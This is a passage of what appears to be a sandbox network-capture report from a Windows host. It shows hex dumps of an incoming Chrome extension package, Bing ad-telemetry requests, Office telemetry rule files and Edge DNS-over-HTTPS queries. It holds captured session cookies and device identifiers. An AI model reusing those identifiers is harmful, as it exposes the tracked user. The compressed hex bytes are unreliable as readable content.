2024-11-26 00:41:38 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-26 00:41:38 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-26 00:41:39 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-26 00:41:39 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-26 00:41:39 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-26 00:41:39 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-26 00:41:39 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-26 00:41:39 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-26 00:41:39 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-26 00:41:39 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49789	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:38 UTC	474	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=3d0ccc6b1b8a4920ab20f5c490b46801&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=2F3E41AB083864DB3DDF54E8095A655C; MSPTC=tLXqB2Bn8AfPH3X9w-bp-lWDWgAZN3Tc1Q712ATrwg4; MR=0
2024-11-26 00:41:38 UTC	601	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 9C3177A37436403D8583F5F30F20182F Ref B: EWR311000101017 Ref C: 2024-11-26T00:41:38Z Date: Tue, 26 Nov 2024 00:41:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:39 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004139Z-174f7845968glpgnhC1EWR7uec0000000uwg0000000066g6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:39 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:39 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004139Z-174f7845968qj8jrhC1EWRh41s0000000uhg000000006y2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:39 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:39 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:39 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004139Z-174f78459688l8rvhC1EWRtzr000000007ag000000005wx4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:39 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:39 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:39 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004139Z-174f7845968psccphC1EWRuz9s0000000v1g0000000016pc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49854	162.159.61.3	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 00:41:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 00:41:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 00:41:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e85d5894a007c7c-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 00:41:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 83 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49857	162.159.61.3	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
